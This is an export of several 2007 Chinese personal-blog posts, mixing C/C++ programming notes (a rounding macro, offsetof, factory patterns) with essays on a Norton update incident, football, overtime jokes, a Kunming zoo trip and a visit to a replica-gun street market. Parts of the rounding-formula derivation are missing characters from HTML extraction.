1，求a圆整于b后的结果？\n这里不妨考虑三种情况：\n(1) a = b\n毫无疑问结果应该就是b；\n(2) a \u0026gt; b\na \u0026gt; b \u0026gt; 1 =\u0026gt; a/b \u0026gt;= 1(计算机语言中的a/b) =\u0026gt; 圆整结果为(a/b + 1) * b；—(1)\n(3) a \u0026lt; b\n1 =\u0026lt; a a/b = 0 (计算机语言中的a/b) =\u0026gt; 圆整结果为b (0 + 1) * b =\u0026gt; (a/b + 1) * b。—(2)\n从上面式子可以看出当a b时可以统一成(a/b + 1) * b，但是a = b时 (a/b + 1) *b = 2b显然和正确结果b不符。这时如何统一算式呢？我们从条件考虑：\n假设我们现在有一个x = a – 1 \u0026gt; b \u0026gt; 1，从x \u0026gt; b我们可以通过代入上面的公式(1)得出圆整结果：(x/b + 1) * b，这里a有了更严格的限制 a \u0026gt; 2；同样有一个 1 =\u0026lt; x = a – 1 = 2了。\n****由上面两个结果，可以推出另一个形式的圆整算式: ((a – 1)/b + 1) * b，它对于(a \u0026gt;=2，b \u0026gt; 1成立)\n那么当1 =\n这样((a – 1)/b + 1) * b对于a \u0026gt;=1，b \u0026gt;1就都成立了，这个算式形式就统一了^_^。\n#define ROUNDTO(a, boundary) ((((a) – 1)/(boundary) + 1) * (boundary))\n//测试一下\nstd::cout \u0026laquo; ROUNDTO(1, 2) 输出结果：\n2\n3\n21\n7\n","permalink":"https://tonybai.com/2007/05/24/number-round-up-formula/","summary":"\u003cp\u003e一般在考虑到\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e内存对齐\u003c/a\u003e的程序里面势必要使用数的圆整算式，一般来说在计算机程序里一般都是圆整到2的次幂上，而很多书上也有很多基于\u0026rsquo;移位\u0026rsquo;操作的圆整到2的次幂上的算法公式，形式都是很简单的，很实用。\u003c/p\u003e\n\u003cp\u003e这里要说的是一个圆整到任意正整数(n \u0026gt; 1，圆整到1没有必要^_^)的算式，突然觉得如果说算法有些大了。我们来推导一下，也不是严密推导。就是怎么想的怎么说。\u003c/p\u003e","title":"数的圆整算式"},{"content":"晚上饭后抽空看了看如何实现一个内存管理器，涉及内存操作必定少不了指针，恰研究到offsetof这个operator，也看了它的实现，顿有所悟。\n先看一段代码：\nstruct Foo {\nint a;\nchar* p;\nchar b;\n};\nFoo* p1 = reinterpret_cast(0);\nFoo* p2 = 0;\nbool b = (p1 == p2);\nstd::cout \u0026laquo; b \u0026laquo; std::endl;\n输出结果：\n1\n请考虑一下虽然打印出来的结果是：1，但是这两个赋值语句的意义相同吗？？？\nFoo* p2 = 0;\n相信所有C++的初学者都知道，这句的意思是p2是一个空指针，或者说p2尚未指向任何对象。\nFoo* p1 = reinterpret_cast(0);\n那么这句呢？难道p1也是如p2一样，是一个空指针么？\n我们再回顾一下一般我们给指针赋值都是如何做的：\nFoo* p = new Foo();\n或\nFoo aFoo;\nFoo *p = \u0026amp;aFoo;\n无论是new Foo()还是\u0026amp;aFoo，实际上他们返回的都是一个地址常量，类似于0xffbff204这样的地址值，我们就不妨假设new Foo()或\u0026amp;aFoo返回的地址常量值就为0xffbff204。\n继续！我们将如何解释一个指针呢？在Stanley B. Lippman的鸿篇巨制\u0026rsquo;C++ Primer 3rd\u0026rsquo;中的第3.3小节有这样的叙述：\n每个指针都有一个相关的类型。… … 指针的类型可以指示编译器怎样解释特定地址上内存的内容以及该内存区域应该跨越多少内存单元。\n好了，我们解释一下Foo *p = 0xffbff204; (或Foo *p = (Foo*)0xffbff204 或Foo *p = reinterpret_cast(0xffbff204) 更好一些，因为Foo *p = 0xffbff204;这样的语句在C++中很可能不能通过编译，并提示\u0026rsquo;invalid conversion from `unsigned int\u0026rsquo; to `Foo*\u0026lsquo;之类的错误\u0026rsquo;)\n我们有这样一个Foo类型的指针，其指向一个起始地址为0xffbff204的类型为Foo的对象，这样我们可以通过\u0026amp;(p-\u0026gt;b)得到b的地址：即在0xffbff204的基础上再加上成员b在结构体中的偏移量，如偏移量是8，我们得到的b的地址就是0xffbff204 + 8d。\n现在我们把0xffbff204换成了0，也就是Foo* p1 = reinterpret_cast(0); 其实我们再告诉编译器：我们有这样一个Foo类型的指针，其指向一个起始地址为0×0的类型为Foo的对象。这时如果我们想得到b的地址，我们一样可以通过\u0026amp;(p-\u0026gt;b)获得，即在0×0的基础上再加上成员b在结构体中的偏移量，如偏移量是8，我们得到的b的地址就是0×0+ 8d = 8，其实这就是b在结构体里面的偏移量。\n有些人一直在担心，p1指向地址为0处，一旦引用p1会不会出问题，请牢记这里我们并没有做dereference操作，即*p操作，而且获取b的地址实际上编译器是通过p1以及b的偏移量来计算得来的，也不涉及到dereference操作。你也可以理解为有一个\u0026rsquo;虚拟\u0026rsquo;的Foo object就存储在0×0这个地址上，呵呵。越过脑子中的那个阴影向前一步便会豁然开朗。\n不进一步分析了，一般offsetof的实现如下：\n#define offsetof(type, f) ((size_t)((char *)\u0026amp;((type *)0)-\u0026gt;f – (char *)(type *)0))\n有了上面的阐述相信理解这个宏定义应该不难。\n用C++的写法：std::cout \u0026laquo; reinterpret_cast\u0026lt;size_t\u0026gt;(\u0026amp;((reinterpret_cast\u0026lt;Foo*\u0026gt;(0))-\u0026gt;p)) \u0026laquo; std::endl;\n不知道上面我的逻辑是否适合大家。^_^\n","permalink":"https://tonybai.com/2007/05/22/cpp-weigh-every-word-series-pointer-trick/","summary":"\u003cp\u003e晚上饭后抽空看了看如何实现一个内存管理器，涉及内存操作必定少不了指针，恰研究到offsetof这个operator，也看了它的实现，顿有所悟。\u003c/p\u003e","title":"C++咬文嚼字-'Pointer Trick'"},{"content":"上周四也就是2007年5月18日，早上刚一进办公室，就发现邻座的同室刚刚使用不久的HP台式机处于\u0026rsquo;机箱开盖\u0026rsquo;状态，问之为何？答曰：中毒。遂也没放在心上，以为其上了不该上的Web Site所致。\n时钟指向早晨九点左右，陆续收到同事的mail，谈到如何卸载公司的集团版诺顿杀毒软件，又有后者邮件谈到中毒问题，周围的同事开始骚动起来，仔细询问后得知：机器因为晚上未关导致升级了诺顿最新5-17日的杀毒补丁文件，上班后发现诺顿提示系统有病毒，未及考虑同意杀之，重启后系统蓝屏，再也未能进入系统。尚未重启的同事算是幸运。此时部门秘书迅速发出告警邮件，\u0026lsquo;命令\u0026rsquo;大家不要重启机器，等待集团信息规划与管理部的解决方案。大约10点左右，公司信息规划与管理部有人致函说目前已经将公司发生的情况通知了赛门铁克的技术支持中心，等待赛门铁克的解决方案。\n就这样蓝屏的人继续重装自己的机器，其他人胆颤心惊，生怕掉电重启系统。\n就这样一直到了下午下班前，公司信息规划与管理部才发邮件通知解决方案，目前这一事件告一段落。不过该事件在全国范围内造成了很大的影响。很多人都开始质疑，一个小小的杀毒软件倘能让如此多的机器瘫痪，如果一旦有国家利用了这一点，我们的国家安全将受到很大威胁，其原因也很是简单，这些软件都是\u0026rsquo;舶来品\u0026rsquo;，特别是操作系统。我们在电视经常看到这样一些影像，在国家重点建设工程、国家某重点单位、国家军队某战备值班单位，其工作人员的座位上明晃晃的闪烁着\u0026rsquo;Windows\u0026rsquo;操作系统的桌面，看到这，经历过\u0026rsquo;诺顿\u0026rsquo;事件的人或许你也会开始担心起来，哇，一般其他蓄谋已久的不怀好意的国家利用其平台软件的后门输入一些指令或者其他东东，我们的这些所谓的核心单位是不是就都瘫痪了呢？其实这不是耸人听闻，这是事实啊。这也是很多人没有意思到的事实，从这也可以看出我们的\u0026rsquo;国家安全\u0026rsquo;其实处在极大的隐患当中，解决这些问题不是一蹴而就的，需要领导们了解和重视，逐渐改进啊。我们作为一平民老百姓能做的也仅此而已，真正的掌权者你们要真正负起责任来呀，否则一旦到了那一天真是没有后悔药吃。\n","permalink":"https://tonybai.com/2007/05/21/norton-event-reflect-nation-security-defect/","summary":"\u003cp\u003e上周四也就是2007年5月18日，早上刚一进办公室，就发现邻座的同室刚刚使用不久的HP台式机处于\u0026rsquo;机箱开盖\u0026rsquo;状态，问之为何？答曰：中毒。遂也没放在心上，以为其上了不该上的Web Site所致。\u003c/p\u003e","title":"'诺顿事件'揭示'国家安全隐患'"},{"content":"前不久参加了一个为期四天的设计模式培训，公司以前组织过很多次设计模式培训，主题多为\u0026rsquo;Java与设计模式\u0026rsquo;，自己一直从事C相关的开发，也就不好越界参与这类培训。而这次主题换成了\u0026rsquo;C++设计模式\u0026rsquo;，我参加也就名正言顺了。按照人力资源部工作人员的说法这是第一次请老师讲C++与设计模式，这个老师也是第一次给我们公司做培训，因为没有先例，无从知道效果如何，不像以前侯捷来公司培训C++，一般参与的同事都清楚那样的培训收获会很大，毕竟讲师水平很高啊。俗话说：要想能讲出一碗水，那自己首先应该先有一桶水才行。\n这次做培训的老师，起码从授课上我感觉还是不合格的，其个人水平不敢胡乱评论，毕竟有些人是有水平但讲不出来，我也不知道这位讲师是否属于这种。好了，不管怎样，也还是感谢这位老师四天的唠唠叨叨，起码也让我对设计模式了解的更多了，也算是带着我们浏览了一遍，然后就是\u0026rsquo;师父领进门，修行在个人\u0026rsquo;了。\n工厂模式三剑客：\n在Gang Of Four – GOF的\u0026rsquo;Design Pattern\u0026rsquo;一书中其实就只有\u0026rsquo;Abstract Factory\u0026rsquo;和\u0026rsquo;Factory Method\u0026rsquo;这两种创建型模式，后来逐渐加入了一种简化的简单工厂模式：Simple Factory Pattern，这三种模式我称之为\u0026rsquo;三剑客\u0026rsquo;，用于在对象创建上发挥光和热。我想之所以有Simple Factory Pattern的存在一是出于从理解Factory模式的需要，二是在现实系统中有很多所谓\u0026rsquo;Simple Factory Pattern\u0026rsquo;的设计存在于各个系统中，用\u0026rsquo;Simple Factory Pattern\u0026rsquo;来对应这些现有的设计，便于接受向其他两种更复杂的Factory模式的过渡，毕竟简单工厂模式缺点多多。\n说工厂模式还是要从\u0026rsquo;创建对象\u0026rsquo;说起，在现行的大多数面向对象语言中，如C++、Java等，我们可以遵循如下操作凡是来创建一个类的实例：\n//关系图\nClient — (invoke)—\u0026gt; Class ConcreteProduct1\n//client code\nConcreteProduct1 *p = new ConcreteProduct1();\n\u0026lsquo;Head First Design Pattern\u0026rsquo;一书告诉我们：when you see \u0026rsquo;new\u0026rsquo;, think \u0026lsquo;concrete\u0026rsquo;。new operator给我们的代码加上了一副枷锁，把我们桎梏于其中，动弹不得，想想看如何产品换成了ConcreteProduct2，我们该如何做，Client就要修改了，挨批的总是我们。我们需要更加容易扩展的代码。试试\u0026rsquo;Simple Factory Pattern\u0026rsquo;吧，让Factory来produce出我们需要的Product，前提：client可能需要生产出多种ConcreteProducts呀。这个应该没问题，来看看\u0026rsquo;简单工厂模式\u0026rsquo;吧。\n//如关系图1 ConcreteProduct(s) \u0026lt;=\u0026gt; ConcreteProduct1、ConcreteProduct2、ConcreteProduct3、….、ConcreteProductn\nClient –(invoke)–\u0026gt; class ConcreteFactory ——\u0026gt; class ConcreteProduct(s) [derived from class AbstractProduct]\nclass ConcreteProduct1 : public AbstractProduct { … };\nclass ConcreteProduct2 : public AbstractProduct { … };\n… …\nclass ConcreteFactory {\npublic:\nstatic Product* produce(int type) {\nswitch (type) {\ncase 1:\nreturn new ConcreteProduct1();\nbreak;\ncase 2:\nreturn new ConcreteProduct2();\nbreak;\n… …\ncase n:\nreturn new ConcreteProductn();\nbreak;\n… …\n}\n}\n};\n//Client code\nAbstractProduct *p = ConcreteFactory::produce(real_type);\n从上面的关系图或代码可以了解到这里的ConcreteFactory真是责任不小啊，从Product1到Productn样样要生产啊。暗想：是不是有些负担太重了？\n1) 如果要是有n(n\u0026gt;100)种产品要生产，那switch code block势必会很大，这样也相当的影响代码的美观程度了，一般此时Bad Smell都会被闻到。\n2) 如果新增一个产品的生产，Factory的produce逻辑势必要修改。\n不仅我们意识到了这些，GOF们也意识到了，他们总结出来\u0026rsquo;Factory Method\u0026rsquo;模式来解决这一问题。Factory Method将拆分Simple Factory中Factory实现中的沉重且复杂逻辑，让其职责更加单一。\n//如关系图2 Product(s)Factory \u0026lt;=\u0026gt; Product1Factory、 Product2Factory、 Product3Factory、….、ProductnFactory\nClient –(invoke) –\u0026gt; class Product(s)Factory [derived from class AbstractFactory] ——-\u0026gt; class ConcreteProduct(s) [derived from class AbstractProduct] class ConcreteProduct1 : public AbstractProduct { … };\nclass ConcreteProduct2 : public AbstractProduct { … };\n… …\nclass AbstractFactory {\npublic:\nvirtual AbstractProduct* produce() = 0;\n};\nclass Product1Factory : public AbstractFactory {\npublic:\nAbstractProduct* produce() {\nreturn new ConcreteProduct1();\n}\n};\nclass Product2Factory : public AbstractFactory {\npublic:\nAbstractProduct* produce() {\nreturn new ConcreteProduct2();\n}\n};\n… …\n//Client Code\nvoid Assembly(AbstractFactory *af) {\nAbstractProduct *p = af-\u0026gt;produce();\n… …\n}\n这样当我们新增一个ConcreteProduct的生产时完全不需要修改Factory的代码以及Client端的实现，增加一个新的ConcreteFactory来生产这种新的ConcreteProduct即可。\n从上面的Factory Method模式关系可以看到，所有的ConcreteProduct产品均继承自一个抽象类Product，我们可以理解为这些ConcreteProduct属于一个系列的产品；而我们的AbstractFactory也是只生产这一个系列产品的Factory。但是如果现在要求生产另一个系列AnotherProduct的产品时，我们的Factory Method就暂不支持了，需要进行调整了。而调整后的支持多系列产品的模式我们就称之为\u0026rsquo;Abstract Factory\u0026rsquo;模式，即抽象工厂模式。\n//如关系图3\nclass SeriesProduct(s)Factory [derived from class AbstractSeriesFactory] ——-\u0026gt; class ConcreteProduct(s) [derived from class AbstractProduct]\nclass SeriesProduct(s)Factory [derived from class AbstractSeriesFactory] ——-\u0026gt; class ConcreteAnotherProduct(s) [derived from class AbstractAnotherProduct]\nclass ConcreteProduct1 : public AbstractProduct { … };\nclass ConcreteProduct2 : public AbstractProduct { … };\nclass ConcreteAnotherProduct1 : public AbstractAnotherProduct { … };\nclass ConcreteAnotherProduct2 : public AbstractAnotherProduct { … };\n… …\nclass AbstractSeriesFactory {\npublic:\nvirtual AbstractProduct* produce() = 0;\nvirtual AbstractAnotherProduct* produce() = 0;\n};\nclass SeriesProduct1Factory : public AbstractFactory {\npublic:\nAbstractProduct* produceSeries1() {\nreturn new ConcreteProduct1();\n}\nAbstractAnotherProduct* produceSeries2() {\nreturn new ConcreteAnotherProduct1();\n}\n};\nclass SeriesProduct2Factory : public AbstractFactory {\npublic:\nAbstractProduct* produceSeries1() {\nreturn new ConcreteProduct2();\n}\nAbstractAnotherProduct* produceSeries2() {\nreturn new ConcreteAnotherProduct2();\n}\n};\n… …\n\u0026gt;//Client code\nvoid Assembly(AbstractSeriesFactory *asf) {\nAbstractProduct *p1 = asf-\u0026gt;produceSeries1();\nAbstractAnotherProduct *p2 = asf-\u0026gt;produceSeries2();\n… …\n}\n从上面可以看出Abstract Factory模式其实是以Factory Method模式做基础的。Abstract Factory模式已经是工厂类模式的全景了，但是同样它也是有其缺陷的，比如我们如果新增一个产品系列，这样的修改就是伤筋动骨的了，首当其冲的就是AbstractFactory需要增加一个接口，而随之而来的是继承该接口的子类也都要实现该接口，这里可以考虑给每个AbstractFactory声明的接口一个\u0026rsquo;空实现\u0026rsquo;，这样即使增加接口了也不会影响到已继承该AbstractFactory的子类，如果这些子类不负责生产新增系列产品的话。\n附工厂模式关系图\n","permalink":"https://tonybai.com/2007/05/21/the-three-musketeers-of-factory-pattern/","summary":"\u003cp\u003e前不久参加了一个为期四天的设计模式培训，公司以前组织过很多次设计模式培训，主题多为\u0026rsquo;Java与设计模式\u0026rsquo;，自己一直从事C相关的开发，也就不好越界参与这类培训。而这次主题换成了\u0026rsquo;C++设计模式\u0026rsquo;，我参加也就名正言顺了。按照人力资源部工作人员的说法这是第一次请老师讲C++与设计模式，这个老师也是第一次给我们公司做培训，因为没有先例，无从知道效果如何，不像以前侯捷来公司培训C++，一般参与的同事都清楚那样的培训收获会很大，毕竟讲师水平很高啊。俗话说：要想能讲出一碗水，那自己首先应该先有一桶水才行。\u003c/p\u003e","title":"工厂模式三剑客"},{"content":"其实说到\u0026rsquo;设计心理学\u0026rsquo;，自己还没资格谈，按照\u0026rsquo;疯狂的时候\u0026rsquo;里的说法\u0026rsquo;自己还不够专业\u0026rsquo;，今天说到它，是另有原因的，下面道来。\n周末写了一篇未完的blog，今早趁机将其补充完整并予以发布，不过在发布时发现Blogbus的一处问题：即我在发布文章页面的分类下拉框中居然找不到我若干月前就已经增加了的分类，以致我无法选择对应的分类就发布了。事后我问及Blogbus的客服小伙:TTSummer，在一番问题陈述之后，TTSummer马上联系了开发人员，很快给了我答复：Blogbus的分类列表项最多支持20个Item，接着他说他们开发人员马上就修改这个问题，将最大表项数目增加到25个。在中午十分这个问题解决了。从这件事里看得出Blogbus的客服还是很好的，表扬一下TTSummer，呵呵。\n之后我也和TTSummer谈了我对这件事的想法，因为我也是软件设计开发人员，也遇到过类似的问题。我不清楚Blogbus是如何实现这个列表的，也不知道列表项目多少是否影响系统资源的占用或者影响美观之类的，也不知道Bus的设计人员为什么初始时设置了20这个数字，但是在软件开发领域有这样一条潜规则：软件开发中最大的不变量就是变化。一切皆有可能，其实我在平时开发中也是有想当然的时候，比如认为用户不能怎么做，不会怎么做，但是事实上用户是不给你面子的，他偏偏就那么做了。TTSummer反驳了我一句，也许是从他客服的角度理解的吧：\u0026lsquo;有时候给用户的更多，反而会让用户无所适从\u0026rsquo;，他还说到：\u0026lsquo;这个是设计心理学的问题咯\u0026rsquo;。就这样我们谈到了设计心理学。其实后来TTSummer给我解释了他们的这个列表数目是根据一段时间运行后的统计来修改的，这也算是折衷的一个好方法。但是理论上是应该允许用户无限增加的，blogbus在分类管理页面并没有给用户明确提示只允许添加20个分类表项，那么既然没有明确说明，我添加了第21个就应该给我显示出来，这里说来说去也涉及到了与用户交互设计的这个问题，不知道算不算是\u0026rsquo;设计心理学\u0026rsquo;的范畴。\n如果是Blogbus的老用户，大家都知道blogbus的后台程序做了很多次升级，其中一次就是增加了分类功能和分类批量修改工具，因为此前的blogbus只是支持Tag，而不支持分类，像我这样的用户都是用Tag来替代分类对文章进行管理的。当分类功能被推出后，我势必要对我的文章重新进行分类管理，最简洁的方法就是做Tag到分类的一一对应。而Tag一般都有很多，超过20个也是很正常的事情，这时像Bus这样只支持20个分类表项的问题就会暴露，还好那时我的分类没有这么多，所以也就没有发现该问题，呵呵。\n谈到\u0026rsquo;设计心理学\u0026rsquo;，TTSummer说其正在看那本有名的\u0026rsquo;The Design of everyday things\u0026rsquo;，中文翻译为：设计心理学，这本书我是只有电子版的，下了之后就扔在电脑里，也没有时间看，呵呵，没有时间啊，也没什么办法。今天还和TTSummer说到：\u0026lsquo;人长大后烦心事太多了，时间就这样被肢解了，除了必要的睡眠外，留给看书的时间就太少了\u0026rsquo;这样的牢骚话。^_^\n平时和TTSummer的交流应该不算少，作为Bus的用户，在交流中逐渐体会到：服务的提供者和服务使用者需要共同改进，互相体谅，做到双赢，只有服务商提供更加优良的服务，服务使用者才会得更优良的服务；服务使用者体会到优良服务后，服务提供商的口碑越好，其使用者也就会越来越多，在IT行业口碑一样很重要；相反一出现问题就骂个不停，那可决不是解决问题的正确方法。\n有些文不对题，看题目好象是一篇技术类文章，其实不然啊，呵呵。\n","permalink":"https://tonybai.com/2007/05/21/the-design-of-everyday-things/","summary":"\u003cp\u003e其实说到\u0026rsquo;设计心理学\u0026rsquo;，自己还没资格谈，按照\u0026rsquo;疯狂的时候\u0026rsquo;里的说法\u0026rsquo;自己还不够专业\u0026rsquo;，今天说到它，是另有原因的，下面道来。\u003c/p\u003e","title":"设计心理学"},{"content":"于前两天就得知今天有两场国字号比赛，分别是国奥对乌拉圭以及国足对泰国，其实我是更想看国奥的比赛，毕竟这批国奥踢球时间还不长，深受国内联赛毒害还尚浅。但是由于这场比赛在下午4点开始，正处在上班时间，也就作罢了。相比于这一场晚上7点半开始的国足比赛是在是没有什么看点吸引我。国足赢了属于合情合理，国足输了，如果国足输了这场球你愿意看吗，呵呵，而且这么让人窝囊的输球，相信也真的没有人愿意看，看了也后悔。\n没看国足的球，自己抽空看了最近上映的一部片子\u0026rsquo;龙骑士\u0026rsquo;，剧情虽有些老套，但是影片制作尚可，如果票价为20元时还是可以在周二到影院去看看的，周二半价^_^。遗憾的是片子仍未完，估计如果票房尚可的话，来个\u0026rsquo;龙骑士2\u0026rsquo;实属情理之中。\n好了，不谈\u0026rsquo;龙骑士\u0026rsquo;了，看完片之后，打开新浪体育，红色大标题映入眼帘，国足0:1负于泰国虎，旁边一个\u0026rsquo;评论\u0026rsquo;的链接我都不愿意点进去看了，除了骂，我相信球迷们应该不会有其他语言了。再看国足表现，如果是运气不佳也就罢了，结果技术统计一出炉，把我也下了一跳：射门6:13，射正1:3，角球3:9，攻入前场30米区域9:14。我想随意换一支中甲球队也未必如此呀，起码人家还懂得一个男人该如何去做呀。唉，如果不想进国家队，就直说，自己不行，还像个牌位似的占着地方，进了国家队还不好好珍惜机会，不好好踢。我想国内很多中超中甲的年轻球员在那苦苦等待这样的锻炼机会呢。另外朱指导是不是也累了，累了就休息休息，再渡渡金，然后从头再来吗，人家70多岁还做主教练参加世界杯呢，机会还有多是。\n真是不知道该说些什么了，唉，反正没什么感到意外的，我想在目前这支朱家军身上什么都有可能发生。不看不知道，朱家军真奇妙啊!\n","permalink":"https://tonybai.com/2007/05/16/it-is-not-unexpected-that-national-football-team-lose-game-with-tailand/","summary":"\u003cp\u003e于前两天就得知今天有两场国字号比赛，分别是国奥对乌拉圭以及国足对泰国，其实我是更想看国奥的比赛，毕竟这批国奥踢球时间还不长，深受国内联赛毒害还尚浅。但是由于这场比赛在下午4点开始，正处在上班时间，也就作罢了。相比于这一场晚上7点半开始的国足比赛是在是没有什么看点吸引我。国足赢了属于合情合理，国足输了，如果国足输了这场球你愿意看吗，呵呵，而且这么让人窝囊的输球，相信也真的没有人愿意看，看了也后悔。\u003c/p\u003e","title":"国足输泰国，我不意外"},{"content":"在公司内网看到这么一则帖子，将各个知名公司或产品的广告词改编后恶搞成这个公司的加班口号了，挺搞笑的，不信你往下瞧。\n1、美特斯邦威：不加寻常班。\n2、特步： 加班，死一般的感觉。\n3、百事：加班无极限。\n4、森马：上什么公司，加什么班。\n5、脑白金：今年过节不加班，加班只加节假日。\n6、汇仁肾宝：他加我也加。\n7、李宁：加班，一切皆有可能。\n8、旺旺：你加，我加，大家加，加加。\n9、农夫山泉：加了有点烦。\n10、好迪：大家加，才是真的加。\n11、白加黑：白天加白班，不瞌睡；晚上加晚班，睡不着。\n12、联想：公司不加班，公司会怎么样。\n13、娃哈哈：妈妈~~我也要加班！\n14、清嘴：你知道加班的味道吗？\n15、安踏：我加班，我喜欢！\n16、NIKE：Just 加 it！\n17、钙中钙：现在的加班啊，它含金量高，加一天顶过去五天，实惠！你瞧我，一口气加了5天，不费劲。\n18、传染病院：追求加班与正常工作的共同发展！\n未发现这则帖子的出处，这里也就不好写出该帖的原出处了，还请原作者见谅。\n","permalink":"https://tonybai.com/2007/05/09/foward-the-slogans-of-the-company-overtime-work/","summary":"\u003cp\u003e在公司内网看到这么一则帖子，将各个知名公司或产品的广告词改编后恶搞成这个公司的加班口号了，挺搞笑的，不信你往下瞧。\u003c/p\u003e\n\u003cp\u003e1、美特斯邦威：不加寻常班。\u003cbr\u003e\n2、特步： 加班，死一般的感觉。\u003cbr\u003e\n3、百事：加班无极限。\u003cbr\u003e\n4、森马：上什么公司，加什么班。\u003cbr\u003e\n5、脑白金：今年过节不加班，加班只加节假日。\u003cbr\u003e\n6、汇仁肾宝：他加我也加。\u003cbr\u003e\n7、李宁：加班，一切皆有可能。\u003cbr\u003e\n8、旺旺：你加，我加，大家加，加加。\u003cbr\u003e\n9、农夫山泉：加了有点烦。\u003cbr\u003e\n10、好迪：大家加，才是真的加。\u003cbr\u003e\n11、白加黑：白天加白班，不瞌睡；晚上加晚班，睡不着。\u003cbr\u003e\n12、联想：公司不加班，公司会怎么样。\u003cbr\u003e\n13、娃哈哈：妈妈~~我也要加班！\u003cbr\u003e\n14、清嘴：你知道加班的味道吗？\u003cbr\u003e\n15、安踏：我加班，我喜欢！\u003cbr\u003e\n16、NIKE：Just 加 it！\u003cbr\u003e\n17、钙中钙：现在的加班啊，它含金量高，加一天顶过去五天，实惠！你瞧我，一口气加了5天，不费劲。\u003cbr\u003e\n18、传染病院：追求加班与正常工作的共同发展！\u003c/p\u003e","title":"转节假日各大公司加班口号"},{"content":"这次昆明动物园之旅并不是发生在五一黄金周，而是之前一次出差中的一次游玩。昆明目前有两个动物园，一个是野生动物园，是新建的，听说不错；另一个就是这个老动物园，就在依圆通山而建的圆通山动物园。这里的交通很方便，很多路公交车都路过，由于时间太长了，记不太清楚我坐的是哪路公交车了。昆明不愧是一个旅游城市，就连这里的动物园也是游人如织。如果这是在沈阳，我想动物园就没有这么好的人气了。正门门票不贵，10元整。如果在昆明实在没地方可去了，来动物园看看可爱的动物，熏陶一下也不错^_^。\n圆通山动物园依山而建，各个展馆都分布在盘山路的两侧，圆通山不高，大部分人的体力足可以支撑逛完整个动物园。动物园大致有这么几个展馆长臂猿馆、鸟类馆、灵长类展馆、大象馆、孔雀馆以及野兽展览区。\n动物园外壁画\n动物园正门\n园内金猪雕像让游人驻足留影\n动物园内明城墙残段\n前面说过动物园人气很旺，很多家长带着小朋友来参观，不过安全第一，年前就有一则新闻说在这个动物园一个小朋友因为和老虎合影而惨死在老虎嘴下，家长要时刻记住孩子的安全才是最重要的。一般来说你按照园内指示牌的提醒去做是不会发生意外的。\n下面是我精选出来的动物园可爱动物的照片，请欣赏^_^。\n独孤求败的滋味真难熬呀!\n我是大块头，我也有大智慧!\n别打扰我，我要睡午觉了!\n你不知道我在想什么吧？\n臭小子过来，给你抓抓虱子!\n帅哥走’猫步’呢，快看呀\n弄点吃的还真不容易!\n这是什么花，在北方可没见过\n便便后肚肚真是舒服呀!\n孔雀里的’等级制度’\n别偷看我的后面!\n哥们，别转了，再转就彻底缠死了!\n嗨，哥们的这个POSE不错吧!\n外面的世界一定很精彩，我瞅我伸脖子瞅\n对面的男孩看过来，看过来看过来\n小朋友真好，还喂我这么好吃的东西\n快跑，不能让人类抓到，笼子里的滋味可不好受.\n我开屏更漂亮!\n我开屏美不美!\n放我出去!\n真恨我老妈为什么不把我的鼻子生的再长点呢\n给你一个背影吧，高进都是这么做的\n都说我是最漂亮的虎，我也是这么认为的\n我爬、我爬、我爬爬爬\n高处看孔雀园\n","permalink":"https://tonybai.com/2007/05/07/a-trip-to-animals-zoo-of-kunming/","summary":"\u003cp\u003e这次昆明动物园之旅并不是发生在五一黄金周，而是之前一次出差中的一次游玩。昆明目前有两个动物园，一个是野生动物园，是新建的，听说不错；另一个就是这个老动物园，就在依圆通山而建的圆通山动物园。这里的交通很方便，很多路公交车都路过，由于时间太长了，记不太清楚我坐的是哪路公交车了。昆明不愧是一个旅游城市，就连这里的动物园也是游人如织。如果这是在沈阳，我想动物园就没有这么好的人气了。正门门票不贵，10元整。如果在昆明实在没地方可去了，来动物园看看可爱的动物，熏陶一下也不错^_^。\u003c/p\u003e","title":"昆明圆通山动物园拾趣"},{"content":"昆明的交通真是一个\u0026rsquo;老大难\u0026rsquo;问题，早上去云南移动开电视电话会议，都9点15左右了，那个车堵的真是让我闹心，本来5分多钟估计就可以到的，我用了近20多分钟才到。开完会已是中午12点，移动的哥们请客到移动的食堂吃饭，移动就是移动，食堂饭菜比我们公司的好多了，价格还低廉，吃完饭搭移动哥们的车到了昆明著名的正义路景星花鸟市场，不为别的，就想来探访一下这里卖\u0026lsquo;电狗\u0026rsquo;的店铺。\n虽然叫景星花鸟市场，但是这里卖的最多是少数民族手工艺品，记得上次来的时候买了400多元的民族手工艺品，那个时候还不知道这里也是昆明\u0026rsquo;电狗\u0026rsquo;的集散地，但是最近风紧，大多数卖\u0026rsquo;狗\u0026rsquo;的都转为地下了，以致我在那条街上看了一圈又一圈，问了多家户外运动商品店，老板都说没有，无奈之下我所幸不找了。我知道聂耳的故居就在\u0026rsquo;景星花鸟市场\u0026rsquo;那个5层楼的对面的街道上，那里还有一个指示牌上注明往里走就是聂耳故居，上次来的时候因为下雨没有去成，这次反正已经到这了，就去看看吧。顺着路向南走，这个路两旁都是一个高大围墙和旧房子，没有商铺，路两旁还停着许多机动车，偶然间看到路边有些许人，其脚下明显摆着仿真手枪的包装盒，有些仿真手枪还在盒子上面放着，我顿时豁然开朗，原来这些地下卖\u0026rsquo;狗\u0026rsquo;的人都聚集在这里呀。我看到了他们的同时他们也发现了我这个潜在买客，一位卖\u0026rsquo;狗\u0026rsquo;人拿着一把\u0026rsquo;狗\u0026rsquo;主动上来搭讪，正好趁此机会从他那获取些关于\u0026rsquo;电狗\u0026rsquo;的信息。他首先给我试了试枪，这个枪打的是一种绿色的BB塑料弹，他对着对面高墙里面破旧老房子的玻璃就是一枪，耳畔可以清晰听到BB弹击中玻璃发出的撞击声，蛮大的，距离大约有6~7米，这仅仅是一把仿真手枪，如果按照狗友们的定义，估计也就是一把\u0026rsquo;鸡\u0026rsquo;还不够\u0026rsquo;狗\u0026rsquo;的级别，威力还是蛮大的。我把枪拿到手里掂量掂量，别看是一把仿真手枪但是的确够份量，摸摸枪嘴，钢的，拿下弹夹，塑料的，做工很是一般，枪的外表做工也很是粗糙，估计是国产小厂家做的，价格也便宜，他要价才85元。我跟他说我喜欢长枪，问他有没有G36C，他说有，国产的，进口的没有货，需要订货，价钱肯定也不菲了。货不过不在这，我要是确定要的话，现在可以和他去取，价格500左右。我说是否可以去看看枪，他说如果不买就不行。我说我是外地的，长枪是否能带回去，这个哥们也很诚实，他说现在是严打期间，建议带短枪，一是好带，不宜发现；二是便宜，即使被没收也不心疼。然后他给了我一张带有他电话的名片，名片上写着\u0026rsquo;老五\u0026rsquo;的名字，他说如果需要的话